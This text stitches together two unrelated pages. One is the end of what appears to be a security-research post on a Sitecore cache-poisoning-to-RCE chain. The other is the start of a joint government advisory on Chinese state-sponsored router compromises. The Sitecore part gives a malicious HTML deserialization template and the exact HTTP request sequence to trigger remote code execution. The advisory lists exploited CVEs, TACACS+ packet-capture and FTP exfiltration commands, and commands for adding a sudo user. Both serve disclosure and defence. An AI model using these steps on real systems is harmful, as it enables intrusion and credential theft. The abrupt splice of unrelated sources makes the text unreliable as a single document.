<convertToRuntimeHtml>
<processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.PrepareHtml, Sitecore.Kernel" />
<processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.ShortenLinks, Sitecore.Kernel" />
<processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.SetImageSizes, Sitecore.Kernel" />
<processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls, Sitecore.Kernel" />
<processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.FixBullets, Sitecore.Kernel" />
<processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.FinalizeHtml, Sitecore.Kernel" />
</convertToRuntimeHtml>
Here we are!
The convertToRuntimeHtml pipeline eventually calls ConvertWebControls.Process - and that’s where things could get interesting, because it can lead us straight into an unprotected BinaryFormatter deserialization.
Two questions matter at this point:
- Can we actually use the
ConvertWebControlsprocessor to hit that deserialization sink with attacker-controlled input? - And are we even able to trigger the
convertToRuntimeHtmlpipeline in the first place?
Let’s tackle the first question.
public void Process(ConvertToRuntimeHtmlArgs args)
{
if (!args.ConvertWebControls)
{
return;
}
ConvertWebControls.Convert(args.HtmlDocument); // [1]
ConvertWebControls.RemoveInnerValues(args.HtmlDocument);
}
private static void Convert(HtmlDocument document)
{
SafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();
HtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes("//iframe"); // [2]
if (htmlNodeCollection != null)
{
foreach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))
{
string src = htmlNode.GetAttributeValue("src", string.Empty).Replace("&", "&");
ConvertWebControls.Convert(document, htmlNode, src, controlIds); // [3]
}
}
//...
}
}
At [1], our processor will call the inner Convert method, with (we hope) the attacker-controlled HtmlDocument object.
At [2], the code selects all iframe tags.
It will then iterate over them and will use them in a call to another implementation of Convert method.
private static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)
{
NameValueCollection nameValueCollection = new NameValueCollection();
string text = string.Empty;
string empty = string.Empty;
string text2 = string.Empty;
nameValueCollection.Add("runat", "server");
src = src.Substring(src.IndexOf("?", StringComparison.InvariantCulture) + 1);
string[] list = src.Split(new char[]
{
'&'
});
text = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);
string id = node.Id; // [1]
HtmlNode htmlNode = document.DocumentNode.SelectSingleNode("//*[@id='" + id + "_inner']"); // [2]
if (htmlNode != null)
{
text2 = htmlNode.GetAttributeValue("value", string.Empty);
htmlNode.ParentNode.RemoveChild(htmlNode);
}
HtmlNode htmlNode2 = document.CreateElement(empty + ":" + text);
foreach (object obj in nameValueCollection.Keys)
{
string name = (string)obj;
htmlNode2.SetAttributeValue(name, nameValueCollection[name]);
}
if (htmlNode2.Id == "scAssignID")
{
htmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);
}
if (text2.Length > 0)
{
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); // [3]
}
node.ParentNode.ReplaceChild(htmlNode2, node);
}
At [1], the code retrieves the id attribute from the iframe node.
At [2], the code looks for all the tags that contain @id + _inner value.
At [3], the code calls the Sitecore.Convert.Base64ToObject with the value attribute from the extracted node.
There we have it - confirmation. If an attacker controls the HtmlDocument (the pipeline argument), they can drop in malicious HTML like this:
<html>
<iframe id="test" src="poc" value="poc">
<test id="test_inner" value="base64-encoded-deserialization-gadget">
</test>
</iframe>
</html>
…and with that, we land straight in Base64ToObject - carrying our encoded deserialization gadget along for the ride!
If this flow feels familiar, your instincts are right. It looks almost identical to a Post-Auth RCE detailed nearly two years ago. The kicker? The vulnerable code is still present today.
The difference is that Sitecore seems to have quietly “patched” it by cutting off the exposed routes into this code path - not by fixing the underlying deserialization sink.
In other words, the dangerous functionality remains, just hidden behind fewer doors.
Now, let’s follow our spider senses and try to look for another way to reach the convertToRuntimeHtml pipeline.
In reality, we didn’t need any special senses - it turned out to be a fairly simple task.
We have identified the Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.FixHtmlPage control:
protected override void OnLoad(EventArgs e)
{
Assert.ArgumentNotNull(e, "e");
FixHtmlPage.HasAccess(); // [1]
base.OnLoad(e);
if (AjaxScriptManager.Current.IsEvent)
{
return;
}
UrlHandle urlHandle = UrlHandle.Get();
string text = HttpUtility.HtmlDecode(this.SanitizeHtml(StringUtil.GetString(urlHandle["html"]))); // [2]
this.OriginalHtml = text;
try
{
this.Original.InnerHtml = RuntimeHtml.Convert(text, Settings.HtmlEditor.SupportWebControls); // [3]
}
catch
{
}
this.OriginalMemo.Value = text;
//...
}
At [1], a permission check is performed - you need Content Editor rights to get past it.
At [2], the html value is retrieved from the provided session handler. We’ve already described these handlers in our previous blog post - Sitecore can generate session-like handlers and set parameters for them.
At [3], Sitecore.Layouts.Convert(string, bool) is called:
public static string Convert(string body, bool convertWebControls)
{
Assert.ArgumentNotNull(body, "body");
ConvertToRuntimeHtmlArgs convertToRuntimeHtmlArgs = new ConvertToRuntimeHtmlArgs();
convertToRuntimeHtmlArgs.Html = body;
convertToRuntimeHtmlArgs.ConvertWebControls = convertWebControls;
using (new LongRunningOperationWatcher(Settings.Profiling.RenderFieldThreshold, "convertToRuntimeHtml", Array.Empty<string>()))
{
CorePipeline.Run("convertToRuntimeHtml", convertToRuntimeHtmlArgs); // [1]
}
return convertToRuntimeHtmlArgs.Html;
}
You can see that the attacker-supplied HTML will be passed to the convertToRuntimeHtml pipeline, which means it will hit the vulnerable conversion control [1] - achieving RCE.
If you want to reproduce this manually through the UI, just open Content Editor > Edit HTML, paste the malicious HTML into the editor window, and hit the Fix button.
The UI won’t let you exploit this if you only have read access to the Content Editor without write permissions on items. But that doesn’t block exploitation entirely - you can still hit it through a simple HTTP request, no UI required.
The first step is to start the Content Editor application:
GET /sitecore/shell/Applications/Content%20Editor.aspx HTTP/2
Host: labcm.dev.local
Cookie: ...
Then, you need to load the HTML content into the session, as demonstrated in the following HTTP request:
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx HTTP/2
Host: labcm.dev.local
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 3380
&__PARAMETERS=edithtml%3Afix&__EVENTTARGET=&__EVENTARGUMENT=&__SOURCE=&__EVENTTYPE=&__CONTEXTMENU=&__MODIFIED=&__ISEVENT=1&__CSRFTOKEN=&__PAGESTATE=&__VIEWSTATE=&__EVENTVALIDATION=&scActiveRibbonStrip=&scGalleries=&ctl00$ctl00$ctl05$Html=<html><iframe+id%3d"test"+src%3d"poc"+value%3d"poc"><test+id%3d"test_inner"+value%3d"deser-gadget-here"></test></iframe></html>
Within the response, you will receive a handler hdl that stores your html:
{
"command":"ShowModalDialog",
"value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B",
...
}
Finally, it’s enough to visit the endpoint provided in the response, which will trigger the FixHtmlPage control and with our malicious HTML included:
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B HTTP/2
Host: labcm.dev.local
Cookie: ...
HTML Cache Poisoning to RCE Chain
That’s it! In totality today we have presented:
- HTML Cache Poisoning (WT-2025-0023 - CVE-2025-53693) - allows an attacker to achieve unauthenticated HTML cache poisoning.
- Numerous ways to enumerate/brute-force valid cache keys:
- “Enumerating Cache Keys with ItemService API” section.
- “WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User” section.
- Numerous ways to enumerate/brute-force valid cache keys:
- Post-Auth Remote Code Execution:
- WT-2025-0019 (CVE-2025-53691)
- (or any of our previously documented Post-Auth RCE opportunities)
And just for fun, a reminder of the visuals of all of this combined:
0:00
/0:35
Summary
Whew! This was long. Maybe a little bit too long, but we hope you enjoyed it.
If you don’t - blame people on Twitter (our editor is keen to highlight he voted for shorter, but he accepts his flaws).
To summarise our journey: we managed to abuse a very restricted reflection path to call a method that lets us poison any HTML cache key. That single primitive opened the door to hijacking Sitecore Experience Platform pages - and from there, dropping arbitrary JavaScript to trigger a Post-Auth RCE vulnerability.
Vulnerability chains like this are a reminder - never dismiss something just because it looks boring at first glance. Time is finite, days are short, and digging through endless code paths feels painful. But when you stumble across something that might be powerful - like reflections - it’s worth chasing down every angle. Most of the time, it leads nowhere. Sometimes, it leads to full compromise.
This kind of work is rarely glamorous and usually doesn’t pay off - but when it does, it’s glorious.
Nobody forced us to be researchers, after all, and we live with the late nights and rabbit holes because every so often, one of them leads to a chain that makes the whole effort worthwhile.
Timelines
- Date: 24th February 2025
- Detail: WT-2025-0019 discovered and disclosed to Sitecore.
- Date: 24th February 2025
- Detail: Sitecore confirms the receipt of the WT-2025-0019 report.
- Date: 27th February 2025
- Detail: WT-2025-0023 discovered and disclosed to Sitecore.
- Date: 28th February 2025
- Detail: Sitecore confirms the receipt of the WT-2025-0023 report.
- Date: 7th March 2025
- Detail: WT-2025-0027 discovered and disclosed to Sitecore.
- Date: 7th March 2025
- Detail: Sitecore confirms the receipt of the WT-2025-0027 report.
- Date: 4th July 2025
- Detail: Sitecore notifies watchTowr that WT-2025-0019 and WT-2025-0023 had been already fixed on 16th June. WT-2025-0027 still waits for the patch.
- Date: 8th July 2025
- Detail: WT-2025-0027 patch released (to watchTowr surprise)
- Date: 30th July 2025
- Detail: Sitecore notifies watchTowr that WT-2025-0027 was patched and provides the CVE numbers assigned to the vulnerabilities.
- Date: 29th August 2025
- Detail: Blog post published.
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.
Gain early access to our research, and understand your exposure, with the watchTowr Platform
Related vulnerabilities: CVE-2025-34510CVE-2025-53691CVE-2025-53694CVE-2025-34509CVE-2025-53693CVE-2025-34511
Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System | CISA
Executive summary
People’s Republic of China (PRC) state-sponsored cyber threat actors are targeting networks globally, including, but not limited to, telecommunications, government, transportation, lodging, and military infrastructure networks. While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and customer edge (CE) routers, they also leverage compromised devices and trusted connections to pivot into other networks. These actors often modify routers to maintain persistent, long-term access to networks.
This activity partially overlaps with cyber threat actor reporting by the cybersecurity industry—commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting a particular commercial naming convention and hereafter refer to those responsible for the cyber threat activity more generically as “Advanced Persistent Threat (APT) actors” throughout this advisory. This cluster of cyber threat activity has been observed in the United States, Australia, Canada, New Zealand, the United Kingdom, and other areas globally.
This Cybersecurity Advisory (CSA) includes observations from various government and industry investigations where the APT actors targeted internal enterprise environments, as well as systems and networks that deliver services directly to customers. This CSA details the tactics, techniques, and procedures (TTPs) leveraged by these APT actors to facilitate detection and threat hunting, and provides mitigation guidance to reduce the risk from these APT actors and their TTPs.
This CSA is being released by the following authoring and co-sealing agencies:
- United States National Security Agency (NSA)
- United States Cybersecurity and Infrastructure Security Agency (CISA)
- United States Federal Bureau of Investigation (FBI)
- United States Department of Defense Cyber Crime Center (DC3)
- Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
- Canadian Centre for Cyber Security (Cyber Centre)
- Canadian Security Intelligence Service (CSIS)
- New Zealand National Cyber Security Centre (NCSC-NZ)
- United Kingdom National Cyber Security Centre (NCSC-UK)
- Czech Republic National Cyber and Information Security Agency (NÚKIB) - Národní úřad pro kybernetickou a informační bezpečnost
- Finnish Security and Intelligence Service (SUPO) - Suojelupoliisi
- Germany Federal Intelligence Service (BND) - Bundesnachrichtendienst
- Germany Federal Office for the Protection of the Constitution (BfV) - Bundesamt für Verfassungsschutz
- Germany Federal Office for Information Security (BSI) - Bundesamt für Sicherheit in der Informationstechnik
- Italian External Intelligence and Security Agency (AISE) - Agenzia Informazioni e Sicurezza Esterna
- Italian Internal Intelligence and Security Agency (AISI) - Agenzia Informazioni e Sicurezza Interna
- Japan National Cyber Office (NCO) - 国家サイバー統括室
- Japan National Police Agency (NPA) - 警察庁
- Netherlands Defence Intelligence and Security Service (MIVD) - Militaire Inlichtingen- en Veiligheidsdienst
- Netherlands General Intelligence and Security Service (AIVD) - Algemene Inlichtingen- en Veiligheidsdienst
- Polish Military Counterintelligence Service (SKW) - Służba Kontrwywiadu Wojskowego
- Polish Foreign Intelligence Agency (AW) - Agencja Wywiadu
- Spain National Intelligence Centre (CNI) - Centro Nacional de Inteligencia
The authoring agencies strongly urge network defenders to hunt for malicious activity and to apply the mitigations in this CSA to reduce the threat of Chinese state-sponsored and other malicious cyber activity.
Any mitigation or eviction measures listed within are subject to change as new information becomes available and ongoing coordinated operations dictate. Network defenders should ensure any actions taken in response to the CSA are compliant with local laws and regulations within the jurisdictions within which they operate.
Background
The APT actors have been performing malicious operations globally since at least 2021. These operations have been linked to multiple China-based entities, including at least Sichuan Juxinhe Network Technology Co. Ltd. (四川聚信和网络科技有限公司), Beijing Huanyu Tianqiong Information Technology Co., Ltd. (北京寰宇天穹信息技术有限公司), and Sichuan Zhixin Ruijie Network Technology Co., Ltd. (四川智信锐捷网络科技有限公司). These companies provide cyber-related products and services to China’s intelligence services, including multiple units in the People’s Liberation Army and Ministry of State Security. The data stolen through this activity against foreign telecommunications and Internet service providers (ISPs), as well as intrusions in the lodging and transportation sectors, ultimately can provide Chinese intelligence services with the capability to identify and track their targets’ communications and movements around the world.
For more information on PRC state-sponsored malicious cyber activity, see CISA’s People's Republic of China Cyber Threat Overview and Advisories webpage.
Download the PDF version of this report:
For a downloadable list of IOCs, visit:
Cybersecurity Industry Tracking
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this Chinese state-sponsored cyber activity. While not all encompassing, the following are the most notable threat group names related to this activity and commonly used within the cybersecurity community:
- Salt Typhoon,
- OPERATOR PANDA,
- RedMike,
- UNC5807, and
- GhostEmperor.
Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.
Technical details
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17 and MITRE ATT&CK for ICS framework, version 17. See the Appendix A: MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the APT actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Initial access
Investigations associated with these APT actors indicate that they are having considerable success exploiting publicly known common vulnerabilities and exposures (CVEs) and other avoidable weaknesses within compromised infrastructure [T1190]. Exploitation of zero-day vulnerabilities has not been observed to date. The APT actors will likely continue to adapt their tactics as new vulnerabilities are discovered and as targets implement mitigations, and will likely expand their use of existing vulnerabilities. The following list is not exhaustive and the authoring agencies suspect that the APT actors may target other devices (e.g., Fortinet firewalls, Juniper firewalls, Microsoft Exchange, Nokia routers and switches, Sierra Wireless devices, Sonicwall firewalls, etc.).
Defenders should prioritize the following CVEs due to their historical exploitation on exposed network edge devices by these APT actors. Exploited CVEs include:
- CVE-2024-21887 - Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
- CVE-2024-3400 - Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection. The CVE allows for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations.
- CVE-2023-20273 - Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) [T1068]
- CVE-2023-20198 - Cisco IOS XE web user interface authentication bypass vulnerability
- While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints
/webui_wsma_Httpor/webui_wsma_Httpsto bypass authentication and create unauthorized administrative accounts. In some cases, the APT actors obfuscated requests by “double encoding” portions of the path, e.g.,/%2577eb%2575i_%2577sma_Httpor/%2577eb%2575i_%2577sma_Https[T1027.010]. Observed requests varied in case, so hunting and detection should be case-insensitive and tolerant of over-encoding. - After patching this CVE, WSMA endpoints requests are internally proxied, and the system adds a
Proxy-Uri-Source HTTPheader as part of the remediation logic. The presence ofProxy-Uri-Sourceheader in traffic to/webui_wsma_*indicates a patched device handling the request, not exploitation. This can help distinguish between vulnerable and remediated systems when analyzing logs or captures.
- While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints
- CVE-2018-0171 - Cisco IOS and IOS XE smart install remote code execution vulnerability
The APT actors leverage infrastructure, such as virtual private servers (VPSs) [T1583.003] and compromised intermediate routers [T1584.008], that have not been attributable to a publicly known botnet or obfuscation network infrastructure to target telecommunications and network service providers, including ISPs [T1090].
The APT actors may target edge devices regardless of who owns a particular device. Devices owned by entities who do not align with the actors’ core targets of interest still present opportunities for use in attack pathways into targets of interest. The actors leverage compromised devices and trusted connections or private interconnections (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks [T1199]. In some instances, the actors modify routing and enable traffic mirroring (switch port analyzer (SPAN)/remote SPAN (RSPAN)/encapsulated remote SPAN (ERSPAN) where available) on compromised network devices and configure Generic Routing Encapsulation (GRE)/IPsec tunnels and static routes to achieve the same goal [T1095]. Additionally, these APT actors often simultaneously exploit large numbers of vulnerable, Internet-exposed devices across many IP addresses and may revisit individual systems for follow-on operations.
Initial access vectors remain a critical information gap for parties working to understand the scope, scale, and impact of the actors’ malicious activity. The authoring agencies encourage organizations to provide compromise details to appropriate authorities (see Contact information) to continue improving all parties’ understanding and responses.
Persistence
To maintain persistent access to target networks, the APT actors use a variety of techniques. Notably, a number of these techniques can obfuscate the actors’ source IP address in system logs, as their actions may be recorded as originating from local IP addresses [T1027]. Specific APT actions include:
- Modifying Access Control Lists (ACLs) to add IP addresses. This alteration allows the actors to bypass security policies and maintain ongoing access by explicitly permitting traffic from a threat actor-controlled IP address [T1562.004].
- The APT actors often named their ACLs “access-list 20”. When 20 was already used, the actors commonly used 50 or 10.
- Opening standard and non-standard ports, which can open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) [T1071]. This strategy supplies multiple avenues for remote access and data exfiltration. Additionally, utilizing non-standard ports can help the APT actors evade detection by security monitoring tools that focus on standard port activity [T1571].
- The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [T1021.004]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of
22x22orxxx22, though port patterns may vary across intrusions. The actors may add keys to existing SSH services to regain entry into network devices [T1098.004]. - The APT actors enable or abuse built-in HTTP/HTTPS management servers and sometimes reconfigure them to non-default high ports. Note: HTTP servers have been observed using the port numbering scheme of
18xxx.- Enabling HTTP/HTTPS servers on Cisco devices affected by CVE-2023-20198. If the web UI feature is enabled on Cisco IOS XE Software, this vulnerability provides an entry opportunity for the APT actors.
- The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [T1021.004]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of
- Following compromise of a router, the following commands and activities have been observed on compromised devices [T1059.008]:
- Executing commands via SNMP [T1569].
- SSH activity from remote or local IP addresses.
- Web interface panel (POST) requests.
- When present, using service or automation credentials (e.g., those used by configuration-archival systems such as RANCID) to enumerate and access other networking devices.
- Executing Tcl scripts (e.g.,
TCLproxy.tclandmap.tcl) on Cisco IOS devices wheretclshwas available.
- Depending on the configuration of the Simple Network Management Protocol (SNMP) on the compromised network device, the APT actors enumerate and alter the configurations for other devices in the same community group, when possible [T1021]. Note: Properly configured SNMPv3 is considerably more secure than previous versions.
- Utilizing SNMPwalk (SNMP GET/WALK) to enumerate devices from APT actor-controlled hosts. Where configuration changes were observed, they were issued as SNMP SET requests to writable objects from those hosts [T1016].
- Creating tunnels over protocols, such as Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec, on network devices, presumably based on what would be expected in the environment [T1572].
- These tunnels allow for the encapsulation of multiple network layer protocols over a single tunnel, which can create persistent and covert channels for data transmission to blend in with normal network traffic.
- Some of these actions may obscure the APT actors’ source IP address in logs due to being logged as a local IP.
- Running commands in an on-box Linux container on supported Cisco networking devices to stage tools, process data locally, and move laterally within the environment. This often allows the APT actors to conduct malicious activities undetected because activities and data within the container are not monitored closely. [T1610] [T1588.002] [T1588.005] [T1059.006].
- Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via
pip/yumwhere available), parsing and staging locally collected artifacts (e.g., configurations, packet captures) on device storage [T1560]. On NX-OS devices specifically, usingdohostto script host-level CLI actions for reconnaissance and persistence. For Cisco IOS XE, Guest Shell is a Linux container (LXC) managed by IOx that is enabled withguestshell enableand accessed withguestshell run bash. By default, processes inside Guest Shell egress via the management virtual routing and forwarding (VRF) instance. On platforms without a dedicated management port, connectivity can be provided with aVirtualPortGroupinterface. Guest Shell can execute Python and other 64-bit Linux applications and can read/write device-accessible storage (e.g., flash) as configured. [T1609] [T1543.005] - For Cisco NX-OS, Guest Shell is an LXC environment entered with
run guestshell. It has direct access tobootflash:and can invoke host NX-OS CLI via thedohostutility. Networking uses the device’s default VRF by default. Operators (or malware) can run commands in other VRFs usingchvrf. Systemd-managed services are typically long-running components inside Guest Shell. - Using
guestshell disableandguestshell destroycommands to deactivate and uninstall Guest Shell container and return all resources to the system [T1070.009].
- Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via
- Leveraging open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload and download, SOCKS5/HTTP proxying, and local/remote port mapping with support for forward and reverse connections over encrypted node-to-node links [T1090.003].
Lateral movement & collection
Following initial access, the APT actors target protocols and infrastructure involved in authentication—such as Terminal Access Controller Access Control System Plus (TACACS+)—to facilitate lateral movement across network devices, often through SNMP enumeration and SSH. From these devices, the APT actors passively collect packet capture (PCAP) from specific ISP customer networks [T1040] [T1005]. To further support discovery and lateral movement, the APT actors may target:
- Authentication Protocols including TACACS+ and Remote Authentication Dial-In User Service (RADIUS)
- Managed Information Base (MIB) [T1602.001]
- Router interfaces
- Resource Reservation Protocol (RSVP) sessions
- Border Gateway Protocol (BGP) routes
- Installed software
- Configuration files [T1590.004] [T1602.002]
- This is achieved either from existing sources in the network (e.g., output of provider scripts) or through active survey of devices and Trivial File Transfer Protocol (TFTP), to include Multiprotocol Label Switching (MPLS) configuration information.
- In-transit network traffic using native capabilities to capture or mirror traffic via the SPAN, RSPAN, or ERSPAN capabilities available on many router models.
- Provider-held data, such as:
- Subscriber information
- User content
- Customer records and metadata
- Network diagrams, inventories, device configurations, and vendor lists
- Passwords
Capturing network traffic containing credentials via compromised routers is a common method for further enabling lateral movement [T1040]. This typically takes the form of:
- Leveraging native PCAP functionalities (e.g., Cisco’s Embedded Packet Capture) on routers to collect RADIUS or TACACS+ authentication traffic, which may contain credentials transmitted in cleartext or weakly protected forms.
- PCAPs have been observed containing naming schemes such as
mycap.pcap,tac.pcap,1.pcap, or similar variations.
- PCAPs have been observed containing naming schemes such as
- Modifying a router’s TACACS+ server configuration to point to an APT actor-controlled IP address [T1556]. These actors may use this capability to capture authentication attempts from network administrators or other devices. They may also adjust Authentication, Authorization, and Accounting (AAA) configurations, forcing devices to use less secure authentication methods or send accounting information to their infrastructure.
The APT actors collect traffic at Layer 2 or 3 (depending on the protocol used), largely from Cisco IOS devices; however, targeting of other device types is also likely. Based on analysis, the APT actors hold interest in making configuration and routing changes to the devices after compromising the routers. While some actions are specific to Cisco devices, the actors are capable of targeting devices from other vendors and could utilize similar functionality. The APT actors perform several of the modifications or techniques below to facilitate follow-on actions.
- Creating accounts/users and assigning privileges to those accounts, often via modifying router configurations [T1136.001].
- Brute forcing and re-using credentials to access Cisco devices. If a router configuration is collected during initial exploitation and contains a weak hashed Cisco Type 5 (MD5) or 7 (legacy, weak reversible encoding) password [T1003] [T1110.002]. Weak credentials, such as “cisco” as the username and password, are routinely exploited through these techniques.
- Scanning for open ports and services and mirroring (SPAN/RSPAN sessions), allowing traffic monitoring from multiple interfaces [T1595].
- Running commands on the router via SNMP, SSH, and HTTP GET or POST requests. These requests typically target privileged execution paths, such as
/level/15/exec/-/*, and may include instructions to display configuration files, access BGP routes, manage VRF instances, or clear system logs [T1082].- Many compromised devices use well known SNMP community strings, including “public” and “private”.
- Configuring PCAP capabilities to collect network traffic.
- Configuring tunnels.
- Using monitoring tools present in the environment to monitor a device’s (commonly a router’s) configuration changes.
- Updating routing tables to route traffic to actor-controlled infrastructure.
- Using several techniques to avoid detection of their activity, including:
- Deleting and/or clearing logs, possibly in tandem with reverting or otherwise modifying stored configuration files to avoid leaving traces of the modifications [T1070].
- Disabling logging and/or disabling sending logs to central servers.
- Stopping/starting event logging on network devices.
- Configuring a Cisco device to run a Guest Shell container to evade detection from collecting artifacts, data, or PCAP [T1610].
Exfiltration
A key concern with exfiltration is the APT actors’ abuse of peering connections (i.e., a direct interconnection between networks that allows traffic exchange without going through an intermediary) [T1599]. Exfiltration may be facilitated due to a lack of policy restraints or system configurations limiting the types of data received by peered ISPs.
Analysis indicates that the APT actors leverage separate (potentially multiple) command and control channels for exfiltration to conceal their data theft within the noise of high-traffic nodes, such as proxies and Network Address Translation (NAT) pools. The APT actors often use tunnels, such IPsec and GRE, to conduct C2 and exfiltration activities [T1048.003].
Case study
This section details techniques employed by the APT actors, as well as indicators received from analysis to detect this activity. The APT actors were stopped before further actions could be taken on the compromised network.
Collecting native PCAP
The APT actors collected PCAPs using native tooling on the compromised system, with the primary objective likely being to capture TACACS+ traffic over TCP port 49. TACACS+ packet bodies can be decrypted if the encryption key is known. In at least one case, the device configuration stored the TACACS+ shared secret using Cisco Type 7 reversible obfuscated encoding. Recovering that secret from the configuration would enable offline decryption of captured TACACS+ payloads. TACACS+ traffic is used for authentication, often for administration of network equipment and including highly privileged network administrators accounts and credentials, likely enabling the actors to compromise additional accounts and perform lateral movement.
The commands listed in Table 1 were observed on a Cisco IOS XE-based host to aid PCAP exfiltration.
Table 1: Commands to collect PCAP
- Command : monitor capture mycap interface both
- Description: Set up a packet capture named 'mycap'
- Command : monitor capture mycap match ipv4 protocol tcp any any eq 49
- Description: Target port 49 on the above interface - TACACS+
- Command : monitor capture mycap buffer size 100
- Description:
- Command : monitor capture mycap start
- Description: Start the capture
- Command : show monitor capture mycap buffer brief
- Description: Check status of capture
- Command : monitor capture mycap export bootflash:tac.pcap
- Description: Export PCAP to file, staging for exfiltration
- Command : copy bootflash:tac.pcap ftp://:*@
- Description: Exfiltration
- Command : copy bootflash:tac.pcap tftp:///tac.pcap
- Description:
Host-level indicators
If console logging or visibility of remote FTP/TFTP from a network appliance are available, the following host-level indicators may assist with detecting activity:
Capture name: 'mycap'
Capture rule: 'match ipv4 protocol tcp any any eq 49'
Exported pcap filename: 'tac.pcap'
tftp remote filename: 'tac.pcap'
tftp remote IP: [remote IP]
Enabling SSH access to the underlying Linux host on IOS XR
Cisco IOS XR (64-bit) is a Linux-based network operating system built on a Yocto-based Wind River Linux distribution. IOS XR is typically administered via the IOS XR CLI over SSH on port TCP/22 or via console.
The built-in sshd_operns service exposes an additional SSH endpoint on the host Linux. When enabled, it listens on TCP/57722 and provides direct shell access to the host OS. Root logins are not permitted to this service, as only non-root accounts can authenticate.
On IOS XR, sshd_operns is disabled by default and must be explicitly started (e.g., service sshd_operns start). Persistence across reboots requires enabling at init (chkconfig) or equivalent.
In observed intrusions, the APT actors enabled sshd_operns, created a local user, and granted it sudo privileges (e.g., by editing /etc/sudoers or adding a file under /etc/sudoers.d/) to obtain root on the host OS after logging in via TCP/57722.
The commands listed in Table 2 were executed from the host Linux bash shell as root.
Table 2: Commands to add user to sudoers
- Command : service sshd_operns start
- Description: Starting the sshd_operns service
- Command : useradd ciscopassword cisco
- Description: Adding a new user
- Command : sudo vi /etc/sudoers
- Description: Adding the new user to sudoers
- Command : chmod 4755 /usr/bin/sudo
- Description: As 4755 is the default permissions for sudo, it is unclear why the actors executed this command
Threat hunting guidance
The authoring agencies encourage network defenders of critical infrastructure organizations, especially telecommunications organizations, to perform threat hunting, and, when appropriate, incident response activities. If malicious activity is suspected or confirmed, organizations should consider all mandatory reporting requirements to relevant agencies and regulators under applicable laws and regulations, and any additional voluntary reporting to appropriate agencies, such as cybersecurity or law enforcement agencies who can provide incident response guidance and assistance with mitigation. See the Contact information section for additional reporting information.
The malicious activity described in this advisory often involves persistent, long-term access to networks where the APT actors maintain several methods of access. Network defenders should exercise caution when sequencing defensive measures to maximize the chance of achieving full eviction, while remaining compliant with applicable laws, regulations, and guidance on incident response and data breach notifications in their jurisdictions. Where possible, gaining a full understanding of the APT actors’ extent of access into networks followed by simultaneous measures to remove them may be necessary to achieve a complete and lasting eviction. Partial response actions may alert the actors to an ongoing investigation and jeopardize the ability to conduct full eviction. Incident response on one network may also result in the APT actors taking measures to conceal and maintain their access on additional compromised networks, and potentially disrupt broader investigative and operational frameworks already in progress.
The APT actors often take steps to protect their established access, such as compromising mail servers or administrator devices/accounts to monitor for signs that their activity has been detected. Organizations should take steps to protect the details of their threat hunting and incident response from APT actor monitoring activities.
The authoring agencies strongly encourage organizations to conduct the following actions for threat hunting:
Monitor configurations changes
- Pull all configurations for running networking equipment and check for differences with latest authorized versions.
